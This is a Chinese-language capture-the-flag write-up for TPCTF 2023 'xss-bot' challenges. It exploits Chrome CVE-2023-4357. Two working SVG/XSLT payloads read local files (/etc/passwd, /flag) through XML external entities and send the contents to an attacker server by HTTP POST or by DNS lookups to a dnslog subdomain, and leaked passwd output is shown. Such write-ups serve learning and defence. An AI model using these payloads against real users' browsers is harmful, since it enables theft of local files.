2023/11/28:TPCTF2023

xss-bot

xxe漏洞

wp:TPCTF 2023 Writeup - 星盟安全团队 (xmcve.com)

试着分析

随便输入点啥,返回了ua头

查看代码:

1
2
3
4
RUN mkdir /app
COPY bot.py /app
WORKDIR /app
RUN echo TPCTF{test} > /flag

dockerfile文件中将flag以txt文件形式放在/flag下,需要外带文件内容

没见过反正不是xss(

在hacktrick里直接搜“外带文件”,XXE在这里比较符合:能访问本地文件,能在这里写进文件上传

XXE - XEE - XML External Entity - HackTricks

可以看到这里提及了文件读取

根据上面的ua头可以找到一个cve:CVE-2023-4357

原理为当受害者访问SVG图像链接时,浏览器会解析XSL样式表,调用document() 加载包含外部实体引用的文档,读取受害者机器的任意文件

【漏洞复现】CVE-2023-4357|Google Chrome 任意文件读取漏洞(影响微信/Chromium内核的浏览器)-腾讯云开发者社区-腾讯云 (tencent.com)

poc

来自星盟安全团队

filename输入以.svg结尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
</div>
<script>
document.querySelectorAll('p').forEach(p => {
var url = 'http://服务器ip';
var formData = 'filename=' + p.className + '&amp;result=' + btoa(p.innerHTML);
var xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(formData);
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE div这段相当于定义两个在div里的变量,最终在<div>中的<p>显示,相当于前面复现演示的c3.xml部分

<script>首先遍历<p>元素,将元素类名和内容以POST发送到目标服务器,相当于c2.svg部分,调用document加载<xsl:copy-of select="document('')"/>

此poc直接以svg形式,相当于直接访问svg图像链接,完成c.html功能

成功外带

base64解码结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nolog

将poc读取的文件改为file:///flag即可获得flag

xss-bot-but-no-internet

代码都一样,但是不出网

方法一:dns外带

经学长测试可实现DNS外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;
if (p.className=="file:///flag") {
let hex = '';for(let i = 0; p.innerHTML.length > i; i++) {let charCode = p.innerHTML.charCodeAt(i).toString(16);hex += ('00' + charCode).slice(-2);}
window.open("http://"+hex+".1fca5dff.dnslog.store/");
}
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>

这里对原有cve进行修改,在最后对<p>的遍历中,检测到flag时选择打开一个dns窗口进行外带